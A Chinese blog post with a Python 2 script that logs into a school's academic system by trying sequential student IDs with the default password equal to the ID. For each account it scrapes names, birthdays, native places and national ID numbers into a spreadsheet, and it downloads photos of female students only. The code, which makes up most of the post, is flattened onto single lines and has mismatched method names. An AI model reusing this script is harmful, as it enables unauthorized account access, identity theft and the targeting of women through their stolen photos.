使用Python爬取学校学生信息!(简单爬虫)

来源:互联网 发布:excel重复数据合并求和 编辑:程序博客网 时间:2024/05/16 18:06

很久木有来写博文啦,发现学校的教务系统很多童鞋都木有修改初始密码,于是博主就想写试用python写一个爬虫小脚本,将木有修改初始密码的童鞋资料扒下来,然后嘿嘿嘿~~~通知他们修改!

鉴于写博文时未通知这些受害童鞋们,因此隐去关键信息。

首先为初始化方法__init__(self)

import urllibimport urllib2import cookielibimport reimport xlwtfrom xlrd import open_workbookfrom xlutils.copy import copyclass STUPID:    def __init__(self):        self.c=0#用于后期记录在excel中行数        self.loginurl='http://xxx.cn/xxx/xxx.asp'#登陆url        self.infurl='http://xxx.cn/xxx/xxx/show.asp' #获取信息的url           #user-agent用于放在header中,伪装为浏览器        self.user_agent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36'        self.headers={            'User-Agent':self.user_agent            }#设置头        #用于保存cookie        cookie = cookielib.CookieJar()        #用于输出send内容,dubug时使用        httpHandler = urllib2.HTTPHandler(debuglevel=1)        httpsHandler = urllib2.HTTPSHandler(debuglevel=1)        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie),httpHandler, httpsHandler)        urllib2.install_opener(self.opener)

下面介绍login(self,k)方法

def login1(self,k):     user= str(123456789+k)#用户名为学号,为保护隐私,采用该输入,K位偏移量,这是由于学号采用递增方式排列    passwd= str(123456789+k)#初始密码等于用户名    #设置提交给服务器的数据    postdata= urllib.urlencode({        'user':user,        'pass':passwd,        'typeid':'2'})#typeid为用户种类            request=urllib2.Request(        url=self.loginurl,        data = postdata,        headers=self.headers    )    result= self.opener.open(request)#登陆并获取返回内容    return user#返回学号

登陆成功之后,由于cookie已存在并记录在签名定义的cookie中,因此可以直接访问信息页面,调用方法getInfPage(self)

def getInfPage(self):    request=urllib2.Request(        url=self.infurl,        headers=self.headers    )            result= self.opener.open(request)    return result.read().decode('gbk')

读取的数据为html的文本,因此需要使用正则表达式对需要的内容进行抓取,调用方法readInf(self):

def readInf(self):    page= self.getInfPage()#page为html内容    inf=re.findall('<td.*?>([^<tr>].*?)</td>.*?<td.*?>(.*?)</td>',page,re.S)    return inf

按照规则匹配后数据将会存在list中并返回,此时调用writeinf(self,Items,user)方法讲信息写入excel

def writeinf(self,Items,user):    if Items:#若item不为空,行数+1        self.c = self.c+1    else:    #由于包里没有直接修改的方法,因此采用先复制再写的方法    rb = open_workbook("inf.xls")#打开inf.xls文件    wb= copy(rb)#复制内容    s= wb.get_sheet(0)#获取第一张表    i=0    username =''    x= unicode('女', "utf-8")     for item in Items:        s.write(self.c,0,user)#第一列写入学号        if i<3 :            if i==0:                username=item[1]#获取姓名,并写入第二列            if i== 1 and item[1] == x:#若为女生,获取其照片                self.saveImg(user,username)#此为保存图片方法,在下文介绍                print 'save'            s.write(self.c,i+1,item[1])#第三列写入性别,第四列写民族        if i== 13:#            s.write(self.c,6,item[1])#第七列写入毕业院校        if i== 15:            s.write(self.c,7,item[1])#第八列写入籍贯              if i== 17:            s.write(self.c,8,item[1])#第九列为身份证号                    else:            if i == 4:                s.write(self.c,4,item[0])第五列写生日            if i == 8:                s.write(self.c,5,item[0])第六列写政治面貌        i= i+1    wb.save('inf.xls')#保存xsl文件

介绍一下保存图片的方法saveImg(self,user,username):

def saveImg(self,user,username):    imgUrl= 'http://xxx.cn/xxx/xxx/'+user+'.jpg'#图片url    filename= 'img/'+username+'.jpg'#文件以名字命名    u= urllib.urlopen(imgUrl)    data= u.read()#读取图片    f= open(filename,'wb')    f.write(data)#保存图片    f.close #关闭    return True

最后运行即可

supid= STUPID()k=1for k in range(1,200) :    user= supid.login(k)#由于学生人数在200以内,因此最高设置为200    supid.writeinf(supid.readInf(),user)

然后就是耐心等待啦,时间有点长,准备再加个多线程~~~图片和信息我只是保存着玩哒,并不准备用来做羞羞的事情~大家也不要干坏事哟!

0 0
原创粉丝点击